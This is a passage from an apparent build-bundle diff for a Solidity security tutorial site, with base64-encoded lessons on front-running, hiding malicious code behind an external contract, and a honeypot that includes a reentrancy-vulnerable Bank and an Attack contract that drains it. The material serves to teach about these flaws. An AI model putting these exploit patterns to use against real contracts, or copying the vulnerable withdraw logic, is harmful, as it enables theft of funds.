ZWkuCjQuIEV2ZSBpcyB3YXRjaGluZyB0aGUgdHJhbnNhY3Rpb24gcG9vbCBmb3IgdGhlIGFuc3dlciB0byBiZSBzdWJtaXR0ZWQuCjUuIEV2ZSBzZWVzIEJvYidzIGFuc3dlciBhbmQgY2FsbHMgc29sdmUoIkV0aGVyZXVtIikgd2l0aCBhIGhpZ2hlciBnYXMgcHJpY2UKICAgdGhhbiBCb2IgKDEwMCBnd2VpKS4KNi4gRXZlJ3MgdHJhbnNhY3Rpb24gd2FzIG1pbmVkIGJlZm9yZSBCb2IncyB0cmFuc2FjdGlvbi4KICAgRXZlIHdvbiB0aGUgcmV3YXJkIG9mIDEwIGV0aGVyLgoKV2hhdCBoYXBwZW5lZD8KVHJhbnNhY3Rpb25zIHRha2Ugc29tZSB0aW1lIGJlZm9yZSB0aGV5IGFyZSBtaW5lZC4KVHJhbnNhY3Rpb25zIG5vdCB5ZXQgbWluZWQgYXJlIHB1dCBpbiB0aGUgdHJhbnNhY3Rpb24gcG9vbC4KVHJhbnNhY3Rpb25zIHdpdGggaGlnaGVyIGdhcyBwcmljZSBhcmUgdHlwaWNhbGx5IG1pbmVkIGZpcnN0LgpBbiBhdHRhY2tlciBjYW4gZ2V0IHRoZSBhbnN3ZXIgZnJvbSB0aGUgdHJhbnNhY3Rpb24gcG9vbCwgc2VuZCBhIHRyYW5zYWN0aW9uCndpdGggYSBoaWdoZXIgZ2FzIHByaWNlIHNvIHRoYXQgdGhlaXIgdHJhbnNhY3Rpb24gd2lsbCBiZSBpbmNsdWRlZCBpbiBhIGJsb2NrCmJlZm9yZSB0aGUgb3JpZ2luYWwuCiovCgpjb250cmFjdCBGaW5kVGhpc0hhc2ggewogICAgYnl0ZXMzMiBwdWJsaWMgY29uc3RhbnQgaGFzaCA9CiAgICAgICAgMHg1NjRjY2FmNzU5NGQ2NmIxZWFhZWEyNGZlMDFmMDU4NWJmNTJlZTcwODUyYWY0ZWFjMGNjNGIwNDcxMWNkMGUyOwoKICAgIGNvbnN0cnVjdG9yKCkgcGF5YWJsZSB7fQoKICAgIGZ1bmN0aW9uIHNvbHZlKHN0cmluZyBtZW1vcnkgc29sdXRpb24pIHB1YmxpYyB7CiAgICAgICAgcmVxdWlyZSgKICAgICAgICAgICAgaGFzaCA9PSBrZWNjYWsyNTYoYWJpLmVuY29kZVBhY2tlZChzb2x1dGlvbikpLCAiSW5jb3JyZWN0IGFuc3dlciIKICAgICAgICApOwoKICAgICAgICAoYm9vbCBzZW50LCkgPSBtc2cuc2VuZGVyLmNhbGx7dmFsdWU6IDEwIGV0aGVyfSgiIik7CiAgICAgICAgcmVxdWlyZShzZW50LCAiRmFpbGVkIHRvIHNlbmQgRXRoZXIiKTsKICAgIH0KfQo="},{fileName:"PreventFrontRunning.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCi8qCiAgIE5vdyBMZXQncyBzZWUgaG93IHRvIGd1YXJkIGZyb20gZnJvbnQgcnVubmluZyB1c2luZyBjb21taXQgcmV2ZWFsIHNjaGVtZS4KKi8KCi8qCjEuIEFsaWNlIGRlcGxveXMgU2VjdXJlZEZpbmRUaGlzSGFzaCB3aXRoIDEwIEV0aGVyLgoyLiBCb2IgZmluZHMgdGhlIGNvcnJlY3Qgc3RyaW5nIHRoYXQgd2lsbCBoYXNoIHRvIHRoZSB0YXJnZXQgaGFzaC4gKCJFdGhlcmV1bSIpLgozLiBCb2IgdGhlbiBmaW5kcyB0aGUga2VjY2FrMjU2KEFkZHJlc3MgaW4gbG93ZXJjYXNlICsgU29sdXRpb24gKyBTZWNyZXQpLiAKICAgQWRkcmVzcyBpcyBoaXMgd2FsbGV0IGFkZHJlc3MgaW4gbG93ZXJjYXNlLCBzb2x1dGlvbiBpcyAiRXRoZXJldW0iLCBTZWNyZXQgaXMgbGlrZSBhbiBwYXNzd29yZCAoIm15c2VjcmV0IikgCiAgIHRoYXQgb25seSBCb2Iga25vd3Mgd2hpYyBCb2IgdXNlcyB0byBjb21taXQgYW5kIHJldmVhbCB0aGUgc29sdXRpb24uCiAgIGtlY2NhazI1NjYoIjB4ZjM5RmQ2ZTUxYWFkODhGNkY0Y2U2YUI4ODI3Mjc5Y2ZmRmI5MjI2NkV0aGVyZXVtbXlzZWNyZXQiKSA9ICcweGY5NWIxZGQ2MWVkYzNiZDk2MmNkZWEzOTg3YzZmNTViY2I3MTRhMDJhMmMzZWI3M2JkOTYwZDZiNDM4N2ZjMzYnCjMuIEJvYiB0aGVuIGNhbGxzIGNvbW1pdFNvbHV0aW9uKCIweGY5NWIxZGQ2MWVkYzNiZDk2MmNkZWEzOTg3YzZmNTViY2I3MTRhMDJhMmMzZWI3M2JkOTYwZDZiNDM4N2ZjMzYiKSwgCiAgIHdoZXJlIGhlIGNvbW1pdHMgdGhlIGNhbGN1bGF0ZWQgc29sdXRpb24gaGFzaCB3aXRoIGdhcyBwcmljZSBzZXQgdG8gMTUgZ3dlaS4KNC4gRXZlIGlzIHdhdGNoaW5nIHRoZSB0cmFuc2FjdGlvbiBwb29sIGZvciB0aGUgYW5zd2VyIHRvIGJlIHN1Ym1pdHRlZC4KNS4gRXZlIHNlZXMgQm9iJ3MgYW5zd2VyIGFuZCBoZSBhbHNvIGNhbGxzIGNvbW1pdFNvbHV0aW9uKCIweGY5NWIxZGQ2MWVkYzNiZDk2MmNkZWEzOTg3YzZmNTViY2I3MTRhMDJhMmMzZWI3M2JkOTYwZDZiNDM4N2ZjMzYiKQogICB3aXRoIGEgaGlnaGVyIGdhcyBwcmljZSB0aGFuIEJvYiAoMTAwIGd3ZWkpLgo2LiBFdmUncyB0cmFuc2FjdGlvbiB3YXMgbWluZWQgYmVmb3JlIEJvYidzIHRyYW5zYWN0aW9uLCBidXQgRXZlIGhhcyBub3QgZ290IHRoZSByZXdhcmQgeWV0LgogICBIZSBuZWVkcyB0byBjYWxsIHJldmVhbFNvbHV0aW9uKCkgd2l0aCBleGFjdCBzZWNyZXQgYW5kIHNvbHV0aW9uLCBzbyBsZXRzIHNheSBoZSBpcyB3YXRjaGluZyB0aGUgdHJhbnNhY3Rpb24gcG9vbAogICB0byBmcm9udCBydW4gQm9iIGFzIGhlIGRpZCBwcmV2aW91c2x5CjcuIFRoZW4gQm9iIGNhbGxzIHRoZSByZXZlYWxTb2x1dGlvbigiRXRoZXJldW0iLCAibXlzZWNyZXQiKSB3aXRoIGdhcyBwcmljZSBzZXQgdG8gMTUgZ3dlaTsKOC4gTGV0J3MgY29uc2lkZXIgdGhhdCBFdmUncyB3aG8ncyB3YXRjaGluZyB0aGUgdHJhbnNhY3Rpb24gcG9vbCwgZmluZCdzIEJvYidzIHJldmVhbCBzb2x1dGlvbiB0cmFuc2FjdGlvbiBhbmQgaGUgYWxzbyBjYWxscyAKICAgcmV2ZWFsU29sdXRpb24oIkV0aGVyZXVtIiwgIm15c2VjcmV0Iikgd2l0aCBoaWdoZXIgZ2FzIHByaWNlIHRoYW4gQm9iICgxMDAgZ3dlaSkKOS4gTGV0J3MgY29uc2lkZXIgdGhhdCB0aGlzIHRpbWUgYWxzbyBFdmUncyByZXZlYWwgdHJhbnNhY3Rpb24gd2FzIG1pbmVkIGJlZm9yZSBCb2IncyB0cmFuc2FjdGlvbiwgYnV0IEV2ZSB3aWxsIGJlCiAgIHJldmVydGVkIHdpdGggIkhhc2ggZG9lc24ndCBtYXRjaCIgZXJyb3IuIFNpbmNlIHRoZSByZXZlYWxTb2x1dGlvbigpIGZ1bmN0aW9uIGNoZWNrcyB0aGUgaGFzaCB1c2luZyAKICAga2VjY2FrMjU2KG1zZy5zZW5kZXIgKyBzb2x1dGlvbiArIHNlY3JldCkuIFNvIHRoaXMgdGltZSBldmUgZmFpbHMgdG8gd2luIHRoZSByZXdhcmQuCjEwLkJ1dCBCb2IncyByZXZlYWxTb2x1dGlvbigiRXRoZXJldW0iLCAibXlzZWNyZXQiKSBwYXNzZXMgdGhlIGhhc2ggY2hlY2sgYW5kIGdldHMgdGhlIHJld2FyZCBvZiAxMCBldGhlci4KKi8KCmNvbnRyYWN0IFNlY3VyZWRGaW5kVGhpc0hhc2ggewogICAgLy8gU3RydWN0IGlzIHVzZWQgdG8gc3RvcmUgdGhlIGNvbW1pdCBkZXRhaWxzCiAgICBzdHJ1Y3QgQ29tbWl0IHsKICAgICAgICBieXRlczMyIHNvbHV0aW9uSGFzaDsKICAgICAgICB1aW50MjU2IGNvbW1pdFRpbWU7CiAgICAgICAgYm9vbCByZXZlYWxlZDsKICAgIH0KCiAgICAvLyBUaGUgaGFzaCB0aGF0IGlzIG5lZWRlZCB0byBiZSBzb2x2ZWQKICAgIGJ5dGVzMzIgcHVibGljIGhhc2ggPQogICAgICAgIDB4NTY0Y2NhZjc1OTRkNjZiMWVhYWVhMjRmZTAxZjA1ODViZjUyZWU3MDg1MmFmNGVhYzBjYzRiMDQ3MTFjZDBlMjsKCiAgICAvLyBBZGRyZXNzIG9mIHRoZSB3aW5uZXIKICAgIGFkZHJlc3MgcHVibGljIHdpbm5lcjsKCiAgICAvLyBQcmljZSB0byBiZSByZXdhcmRlZAogICAgdWludDI1NiBwdWJsaWMgcmV3YXJkOwoKICAgIC8vIFN0YXR1cyBvZiBnYW1lCiAgICBib29sIHB1YmxpYyBlbmRlZDsKCiAgICAvLyBNYXBwaW5nIHRvIHN0b3JlIHRoZSBjb21taXQgZGV0YWlscyB3aXRoIGFkZHJlc3MKICAgIG1hcHBpbmcoYWRkcmVzcyA9PiBDb21taXQpIGNvbW1pdHM7CgogICAgLy8gTW9kaWZpZXIgdG8gY2hlY2sgaWYgdGhlIGdhbWUgaXMgYWN0aXZlCiAgICBtb2RpZmllciBnYW1lQWN0aXZlKCkgewogICAgICAgIHJlcXVpcmUoIWVuZGVkLCAiQWxyZWFkeSBlbmRlZCIpOwogICAgICAgIF87CiAgICB9CgogICAgY29uc3RydWN0b3IoKSBwYXlhYmxlIHsKICAgICAgICByZXdhcmQgPSBtc2cudmFsdWU7CiAgICB9CgogICAgLyogCiAgICAgICBDb21taXQgZnVuY3Rpb24gdG8gc3RvcmUgdGhlIGhhc2ggY2FsY3VsYXRlZCB1c2luZyBrZWNjYWsyNTYoYWRkcmVzcyBpbiBsb3dlcmNhc2UgKyBzb2x1dGlvbiArIHNlY3JldCkuIAogICAgICAgVXNlcnMgY2FuIG9ubHkgY29tbWl0IG9uY2UgYW5kIGlmIHRoZSBnYW1lIGlzIGFjdGl2ZS4KICAgICovCiAgICBmdW5jdGlvbiBjb21taXRTb2x1dGlvbihieXRlczMyIF9zb2x1dGlvbkhhc2gpIHB1YmxpYyBnYW1lQWN0aXZlIHsKICAgICAgICBDb21taXQgc3RvcmFnZSBjb21taXQgPSBjb21taXRzW21zZy5zZW5kZXJdOwogICAgICAgIHJlcXVpcmUoY29tbWl0LmNvbW1pdFRpbWUgPT0gMCwgIkFscmVhZHkgY29tbWl0dGVkIik7CiAgICAgICAgY29tbWl0LnNvbHV0aW9uSGFzaCA9IF9zb2x1dGlvbkhhc2g7CiAgICAgICAgY29tbWl0LmNvbW1pdFRpbWUgPSBibG9jay50aW1lc3RhbXA7CiAgICAgICAgY29tbWl0LnJldmVhbGVkID0gZmFsc2U7CiAgICB9CgogICAgLyogCiAgICAgICAgRnVuY3Rpb24gdG8gZ2V0IHRoZSBjb21taXQgZGV0YWlscy4gSXQgcmV0dXJucyBhIHR1cGxlIG9mIChzb2x1dGlvbkhhc2gsIGNvbW1pdFRpbWUsIHJldmVhbFN0YXR1cyk7ICAKICAgICAgICBVc2VycyBjYW4gZ2V0IHNvbHV0aW9uIG9ubHkgaWYgdGhlIGdhbWUgaXMgYWN0aXZlIGFuZCB0aGV5IGhhdmUgY29tbWl0dGVkIGEgc29sdXRpb25IYXNoCiAgICAqLwogICAgZnVuY3Rpb24gZ2V0TXlTb2x1dGlvbigpCiAgICAgICAgcHVibGljCiAgICAgICAgdmlldwogICAgICAgIGdhbWVBY3RpdmUKICAgICAgICByZXR1cm5zIChieXRlczMyLCB1aW50MjU2LCBib29sKQogICAgewogICAgICAgIENvbW1pdCBzdG9yYWdlIGNvbW1pdCA9IGNvbW1pdHNbbXNnLnNlbmRlcl07CiAgICAgICAgcmVxdWlyZShjb21taXQuY29tbWl0VGltZSAhPSAwLCAiTm90IGNvbW1pdHRlZCB5ZXQiKTsKICAgICAgICByZXR1cm4gKGNvbW1pdC5zb2x1dGlvbkhhc2gsIGNvbW1pdC5jb21taXRUaW1lLCBjb21taXQucmV2ZWFsZWQpOwogICAgfQogICAgLyogCiAgICAgICAgRnVuY3Rpb24gdG8gcmV2ZWFsIHRoZSBjb21taXQgYW5kIGdldCB0aGUgcmV3YXJkLiAKICAgICAgICBVc2VycyBjYW4gZ2V0IHJldmVhbCBzb2x1dGlvbiBvbmx5IGlmIHRoZSBnYW1lIGlzIGFjdGl2ZSBhbmQgdGhleSBoYXZlIGNvbW1pdHRlZCBhIHNvbHV0aW9uSGFzaCBiZWZvcmUgdGhpcyBibG9jayBhbmQgbm90IHJldmVhbGVkIHlldC4KICAgICAgICBJdCBnZW5lcmF0ZXMgYW4ga2VjY2FrMjU2KG1zZy5zZW5kZXIgKyBzb2x1dGlvbiArIHNlY3JldCkgYW5kIGNoZWNrcyBpdCB3aXRoIHRoZSBwcmV2aW91c2x5IGNvbW1pdGVkIGhhc2guICAKICAgICAgICBBc3N1bWluZyB0aGF0IGEgY29tbWl0IHdhcyBhbHJlYWR5IGluY2x1ZGVkIG9uIGNoYWluLCBmcm9udCBydW5uZXJzIHdpbGwgbm90IGJlIGFibGUgdG8gcGFzcyB0aGlzIGNoZWNrIHNpbmNlIHRoZSBtc2cuc2VuZGVyIGlzIGRpZmZlcmVudC4KICAgICAgICBUaGVuIHRoZSBhY3R1YWwgc29sdXRpb24gaXMgY2hlY2tlZCB1c2luZyBrZWNjYWsyNTYoc29sdXRpb24pLCBpZiB0aGUgc29sdXRpb24gbWF0Y2hlcywgdGhlIHdpbm5lciBpcyBkZWNsYXJlZCwgCiAgICAgICAgdGhlIGdhbWUgaXMgZW5kZWQgYW5kIHRoZSByZXdhcmQgYW1vdW50IGlzIHNlbnQgdG8gdGhlIHdpbm5lci4KICAgICovCgogICAgZnVuY3Rpb24gcmV2ZWFsU29sdXRpb24oc3RyaW5nIG1lbW9yeSBfc29sdXRpb24sIHN0cmluZyBtZW1vcnkgX3NlY3JldCkKICAgICAgICBwdWJsaWMKICAgICAgICBnYW1lQWN0aXZlCiAgICB7CiAgICAgICAgQ29tbWl0IHN0b3JhZ2UgY29tbWl0ID0gY29tbWl0c1ttc2cuc2VuZGVyXTsKICAgICAgICByZXF1aXJlKGNvbW1pdC5jb21taXRUaW1lICE9IDAsICJOb3QgY29tbWl0dGVkIHlldCIpOwogICAgICAgIHJlcXVpcmUoCiAgICAgICAgICAgIGNvbW1pdC5jb21taXRUaW1lIDwgYmxvY2sudGltZXN0YW1wLAogICAgICAgICAgICAiQ2Fubm90IHJldmVhbCBpbiB0aGUgc2FtZSBibG9jayIKICAgICAgICApOwogICAgICAgIHJlcXVpcmUoIWNvbW1pdC5yZXZlYWxlZCwgIkFscmVhZHkgY29tbWl0ZWQgYW5kIHJldmVhbGVkIik7CgogICAgICAgIGJ5dGVzMzIgc29sdXRpb25IYXNoID0KICAgICAgICAgICAga2VjY2FrMjU2KGFiaS5lbmNvZGVQYWNrZWQobXNnLnNlbmRlciwgX3NvbHV0aW9uLCBfc2VjcmV0KSk7CiAgICAgICAgcmVxdWlyZShzb2x1dGlvbkhhc2ggPT0gY29tbWl0LnNvbHV0aW9uSGFzaCwgIkhhc2ggZG9lc24ndCBtYXRjaCIpOwoKICAgICAgICByZXF1aXJlKAogICAgICAgICAgICBrZWNjYWsyNTYoYWJpLmVuY29kZVBhY2tlZChfc29sdXRpb24pKSA9PSBoYXNoLCAiSW5jb3JyZWN0IGFuc3dlciIKICAgICAgICApOwoKICAgICAgICB3aW5uZXIgPSBtc2cuc2VuZGVyOwogICAgICAgIGVuZGVkID0gdHJ1ZTsKCiAgICAgICAgKGJvb2wgc2VudCwpID0gcGF5YWJsZShtc2cuc2VuZGVyKS5jYWxse3ZhbHVlOiByZXdhcmR9KCIiKTsKICAgICAgICBpZiAoIXNlbnQpIHsKICAgICAgICAgICAgd2lubmVyID0gYWRkcmVzcygwKTsKICAgICAgICAgICAgZW5kZWQgPSBmYWxzZTsKICAgICAgICAgICAgcmV2ZXJ0KCJGYWlsZWQgdG8gc2VuZCBldGhlci4iKTsKICAgICAgICB9CiAgICB9Cn0K"}],zk=`

                                Vulnerability

                                Transactions take some time before they are mined. An attacker can watch the transaction pool and send a transaction, have it included in a block before the original transaction. This mechanism can be abused to re-order transactions to the attacker's advantage.

                                @@ -8368,7 +8930,7 @@ before the original. } } } -`,Fk=({prev:s,next:a})=>r.jsx(u,{version:Rk,title:Xk,description:vk,html:Hk,prev:s,next:a,codes:Nk}),Kk="0.8.24",Sk="Hiding Malicious Code with External Contract",Mk="An example of exploit where malicious code is hidden in an external contract in Solidity",xk=[{fileName:"ExternalContract.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCi8qCkxldCdzIHNheSBBbGljZSBjYW4gc2VlIHRoZSBjb2RlIG9mIEZvbyBhbmQgQmFyIGJ1dCBub3QgTWFsLgpJdCBpcyBvYnZpb3VzIHRvIEFsaWNlIHRoYXQgRm9vLmNhbGxCYXIoKSBleGVjdXRlcyB0aGUgY29kZSBpbnNpZGUgQmFyLmxvZygpLgpIb3dldmVyIEV2ZSBkZXBsb3lzIEZvbyB3aXRoIHRoZSBhZGRyZXNzIG9mIE1hbCwgc28gdGhhdCBjYWxsaW5nIEZvby5jYWxsQmFyKCkKd2lsbCBhY3R1YWxseSBleGVjdXRlIHRoZSBjb2RlIGF0IE1hbC4KKi8KCi8qCjEuIEV2ZSBkZXBsb3lzIE1hbAoyLiBFdmUgZGVwbG95cyBGb28gd2l0aCB0aGUgYWRkcmVzcyBvZiBNYWwKMy4gQWxpY2UgY2FsbHMgRm9vLmNhbGxCYXIoKSBhZnRlciByZWFkaW5nIHRoZSBjb2RlIGFuZCBqdWRnaW5nIHRoYXQgaXQgaXMKICAgc2FmZSB0byBjYWxsLgo0LiBBbHRob3VnaCBBbGljZSBleHBlY3RlZCBCYXIubG9nKCkgdG8gYmUgZXhlY3V0ZSwgTWFsLmxvZygpIHdhcyBleGVjdXRlZC4KKi8KCmNvbnRyYWN0IEZvbyB7CiAgICBCYXIgYmFyOwoKICAgIGNvbnN0cnVjdG9yKGFkZHJlc3MgX2JhcikgewogICAgICAgIGJhciA9IEJhcihfYmFyKTsKICAgIH0KCiAgICBmdW5jdGlvbiBjYWxsQmFyKCkgcHVibGljIHsKICAgICAgICBiYXIubG9nKCk7CiAgICB9Cn0KCmNvbnRyYWN0IEJhciB7CiAgICBldmVudCBMb2coc3RyaW5nIG1lc3NhZ2UpOwoKICAgIGZ1bmN0aW9uIGxvZygpIHB1YmxpYyB7CiAgICAgICAgZW1pdCBMb2coIkJhciB3YXMgY2FsbGVkIik7CiAgICB9Cn0KCi8vIFRoaXMgY29kZSBpcyBoaWRkZW4gaW4gYSBzZXBhcmF0ZSBmaWxlCmNvbnRyYWN0IE1hbCB7CiAgICBldmVudCBMb2coc3RyaW5nIG1lc3NhZ2UpOwoKICAgIC8vIGZ1bmN0aW9uICgpIGV4dGVybmFsIHsKICAgIC8vICAgICBlbWl0IExvZygiTWFsIHdhcyBjYWxsZWQiKTsKICAgIC8vIH0KCiAgICAvLyBBY3R1YWxseSB3ZSBjYW4gZXhlY3V0ZSB0aGUgc2FtZSBleHBsb2l0IGV2ZW4gaWYgdGhpcyBmdW5jdGlvbiBkb2VzCiAgICAvLyBub3QgZXhpc3QgYnkgdXNpbmcgdGhlIGZhbGxiYWNrCiAgICBmdW5jdGlvbiBsb2coKSBwdWJsaWMgewogICAgICAgIGVtaXQgTG9nKCJNYWwgd2FzIGNhbGxlZCIpOwogICAgfQp9Cg=="}],Jk=`

                                Vulnerability

                                +`,Ek=({prev:s,next:a})=>r.jsx(u,{version:Sk,title:Mk,description:xk,html:zk,prev:s,next:a,codes:Jk}),Dk="0.8.24",Tk="Hiding Malicious Code with External Contract",Uk="An example of exploit where malicious code is hidden in an external contract in Solidity",Qk=[{fileName:"ExternalContract.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCi8qCkxldCdzIHNheSBBbGljZSBjYW4gc2VlIHRoZSBjb2RlIG9mIEZvbyBhbmQgQmFyIGJ1dCBub3QgTWFsLgpJdCBpcyBvYnZpb3VzIHRvIEFsaWNlIHRoYXQgRm9vLmNhbGxCYXIoKSBleGVjdXRlcyB0aGUgY29kZSBpbnNpZGUgQmFyLmxvZygpLgpIb3dldmVyIEV2ZSBkZXBsb3lzIEZvbyB3aXRoIHRoZSBhZGRyZXNzIG9mIE1hbCwgc28gdGhhdCBjYWxsaW5nIEZvby5jYWxsQmFyKCkKd2lsbCBhY3R1YWxseSBleGVjdXRlIHRoZSBjb2RlIGF0IE1hbC4KKi8KCi8qCjEuIEV2ZSBkZXBsb3lzIE1hbAoyLiBFdmUgZGVwbG95cyBGb28gd2l0aCB0aGUgYWRkcmVzcyBvZiBNYWwKMy4gQWxpY2UgY2FsbHMgRm9vLmNhbGxCYXIoKSBhZnRlciByZWFkaW5nIHRoZSBjb2RlIGFuZCBqdWRnaW5nIHRoYXQgaXQgaXMKICAgc2FmZSB0byBjYWxsLgo0LiBBbHRob3VnaCBBbGljZSBleHBlY3RlZCBCYXIubG9nKCkgdG8gYmUgZXhlY3V0ZSwgTWFsLmxvZygpIHdhcyBleGVjdXRlZC4KKi8KCmNvbnRyYWN0IEZvbyB7CiAgICBCYXIgYmFyOwoKICAgIGNvbnN0cnVjdG9yKGFkZHJlc3MgX2JhcikgewogICAgICAgIGJhciA9IEJhcihfYmFyKTsKICAgIH0KCiAgICBmdW5jdGlvbiBjYWxsQmFyKCkgcHVibGljIHsKICAgICAgICBiYXIubG9nKCk7CiAgICB9Cn0KCmNvbnRyYWN0IEJhciB7CiAgICBldmVudCBMb2coc3RyaW5nIG1lc3NhZ2UpOwoKICAgIGZ1bmN0aW9uIGxvZygpIHB1YmxpYyB7CiAgICAgICAgZW1pdCBMb2coIkJhciB3YXMgY2FsbGVkIik7CiAgICB9Cn0KCi8vIFRoaXMgY29kZSBpcyBoaWRkZW4gaW4gYSBzZXBhcmF0ZSBmaWxlCmNvbnRyYWN0IE1hbCB7CiAgICBldmVudCBMb2coc3RyaW5nIG1lc3NhZ2UpOwoKICAgIC8vIGZ1bmN0aW9uICgpIGV4dGVybmFsIHsKICAgIC8vICAgICBlbWl0IExvZygiTWFsIHdhcyBjYWxsZWQiKTsKICAgIC8vIH0KCiAgICAvLyBBY3R1YWxseSB3ZSBjYW4gZXhlY3V0ZSB0aGUgc2FtZSBleHBsb2l0IGV2ZW4gaWYgdGhpcyBmdW5jdGlvbiBkb2VzCiAgICAvLyBub3QgZXhpc3QgYnkgdXNpbmcgdGhlIGZhbGxiYWNrCiAgICBmdW5jdGlvbiBsb2coKSBwdWJsaWMgewogICAgICAgIGVtaXQgTG9nKCJNYWwgd2FzIGNhbGxlZCIpOwogICAgfQp9Cg=="}],_k=`

                                Vulnerability

                                In Solidity any address can be casted into specific contract, even if the contract at the address is not the one being casted.

                                This can be exploited to hide malicious code. Let's see how.

                                @@ -8435,7 +8997,7 @@ external contract can be reviewed constructor() public { bar = new Bar(); } -`,zk=({prev:s,next:a})=>r.jsx(u,{version:Kk,title:Sk,description:Mk,html:Jk,prev:s,next:a,codes:xk}),Ek="0.8.24",Uk="Honeypot",Tk="An example of honeypot in Solidity",Qk=[{fileName:"HoneyPot.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCi8qCkJhbmsgaXMgYSBjb250cmFjdCB0aGF0IGNhbGxzIExvZ2dlciB0byBsb2cgZXZlbnRzLgpCYW5rLndpdGhkcmF3KCkgaXMgdnVsbmVyYWJsZSB0byB0aGUgcmVlbnRyYW5jeSBhdHRhY2suClNvIGEgaGFja2VyIHRyaWVzIHRvIGRyYWluIEV0aGVyIGZyb20gQmFuay4KQnV0IGFjdHVhbGx5IHRoZSByZWVudHJhY3kgZXhwbG9pdCBpcyBhIGJhaXQgZm9yIGhhY2tlcnMuCkJ5IGRlcGxveWluZyBCYW5rIHdpdGggSG9uZXlQb3QgaW4gcGxhY2Ugb2YgdGhlIExvZ2dlciwgdGhpcyBjb250cmFjdCBiZWNvbWVzCmEgdHJhcCBmb3IgaGFja2Vycy4gTGV0J3Mgc2VlIGhvdy4KCjEuIEFsaWNlIGRlcGxveXMgSG9uZXlQb3QKMi4gQWxpY2UgZGVwbG95cyBCYW5rIHdpdGggdGhlIGFkZHJlc3Mgb2YgSG9uZXlQb3QKMy4gQWxpY2UgZGVwb3NpdHMgMSBFdGhlciBpbnRvIEJhbmsuCjQuIEV2ZSBkaXNjb3ZlcnMgdGhlIHJlZW50cmFuY3kgZXhwbG9pdCBpbiBCYW5rLndpdGhkcmF3IGFuZCBkZWNpZGVzIHRvIGhhY2sgaXQuCjUuIEV2ZSBkZXBsb3lzIEF0dGFjayB3aXRoIHRoZSBhZGRyZXNzIG9mIEJhbmsKNi4gRXZlIGNhbGxzIEF0dGFjay5hdHRhY2soKSB3aXRoIDEgRXRoZXIgYnV0IHRoZSB0cmFuc2FjdGlvbiBmYWlscy4KCldoYXQgaGFwcGVuZWQ/CkV2ZSBjYWxscyBBdHRhY2suYXR0YWNrKCkgYW5kIGl0IHN0YXJ0cyB3aXRoZHJhd2luZyBFdGhlciBmcm9tIEJhbmsuCldoZW4gdGhlIGxhc3QgQmFuay53aXRoZHJhdygpIGlzIGFib3V0IHRvIGNvbXBsZXRlLCBpdCBjYWxscyBsb2dnZXIubG9nKCkuCkxvZ2dlci5sb2coKSBjYWxscyBIb25leVBvdC5sb2coKSBhbmQgcmV2ZXJ0cy4gVHJhbnNhY3Rpb24gZmFpbHMuCiovCgpjb250cmFjdCBCYW5rIHsKICAgIG1hcHBpbmcoYWRkcmVzcyA9PiB1aW50MjU2KSBwdWJsaWMgYmFsYW5jZXM7CiAgICBMb2dnZXIgbG9nZ2VyOwoKICAgIGNvbnN0cnVjdG9yKExvZ2dlciBfbG9nZ2VyKSB7CiAgICAgICAgbG9nZ2VyID0gTG9nZ2VyKF9sb2dnZXIpOwogICAgfQoKICAgIGZ1bmN0aW9uIGRlcG9zaXQoKSBwdWJsaWMgcGF5YWJsZSB7CiAgICAgICAgYmFsYW5jZXNbbXNnLnNlbmRlcl0gKz0gbXNnLnZhbHVlOwogICAgICAgIGxvZ2dlci5sb2cobXNnLnNlbmRlciwgbXNnLnZhbHVlLCAiRGVwb3NpdCIpOwogICAgfQoKICAgIGZ1bmN0aW9uIHdpdGhkcmF3KHVpbnQyNTYgX2Ftb3VudCkgcHVibGljIHsKICAgICAgICByZXF1aXJlKF9hbW91bnQgPD0gYmFsYW5jZXNbbXNnLnNlbmRlcl0sICJJbnN1ZmZpY2llbnQgZnVuZHMiKTsKCiAgICAgICAgKGJvb2wgc2VudCwpID0gbXNnLnNlbmRlci5jYWxse3ZhbHVlOiBfYW1vdW50fSgiIik7CiAgICAgICAgcmVxdWlyZShzZW50LCAiRmFpbGVkIHRvIHNlbmQgRXRoZXIiKTsKCiAgICAgICAgYmFsYW5jZXNbbXNnLnNlbmRlcl0gLT0gX2Ftb3VudDsKCiAgICAgICAgbG9nZ2VyLmxvZyhtc2cuc2VuZGVyLCBfYW1vdW50LCAiV2l0aGRyYXciKTsKICAgIH0KfQoKY29udHJhY3QgTG9nZ2VyIHsKICAgIGV2ZW50IExvZyhhZGRyZXNzIGNhbGxlciwgdWludDI1NiBhbW91bnQsIHN0cmluZyBhY3Rpb24pOwoKICAgIGZ1bmN0aW9uIGxvZyhhZGRyZXNzIF9jYWxsZXIsIHVpbnQyNTYgX2Ftb3VudCwgc3RyaW5nIG1lbW9yeSBfYWN0aW9uKQogICAgICAgIHB1YmxpYwogICAgewogICAgICAgIGVtaXQgTG9nKF9jYWxsZXIsIF9hbW91bnQsIF9hY3Rpb24pOwogICAgfQp9CgovLyBIYWNrZXIgdHJpZXMgdG8gZHJhaW4gdGhlIEV0aGVycyBzdG9yZWQgaW4gQmFuayBieSByZWVudHJhbmN5Lgpjb250cmFjdCBBdHRhY2sgewogICAgQmFuayBiYW5rOwoKICAgIGNvbnN0cnVjdG9yKEJhbmsgX2JhbmspIHsKICAgICAgICBiYW5rID0gQmFuayhfYmFuayk7CiAgICB9CgogICAgZmFsbGJhY2soKSBleHRlcm5hbCBwYXlhYmxlIHsKICAgICAgICBpZiAoYWRkcmVzcyhiYW5rKS5iYWxhbmNlID49IDEgZXRoZXIpIHsKICAgICAgICAgICAgYmFuay53aXRoZHJhdygxIGV0aGVyKTsKICAgICAgICB9CiAgICB9CgogICAgZnVuY3Rpb24gYXR0YWNrKCkgcHVibGljIHBheWFibGUgewogICAgICAgIGJhbmsuZGVwb3NpdHt2YWx1ZTogMSBldGhlcn0oKTsKICAgICAgICBiYW5rLndpdGhkcmF3KDEgZXRoZXIpOwogICAgfQoKICAgIGZ1bmN0aW9uIGdldEJhbGFuY2UoKSBwdWJsaWMgdmlldyByZXR1cm5zICh1aW50MjU2KSB7CiAgICAgICAgcmV0dXJuIG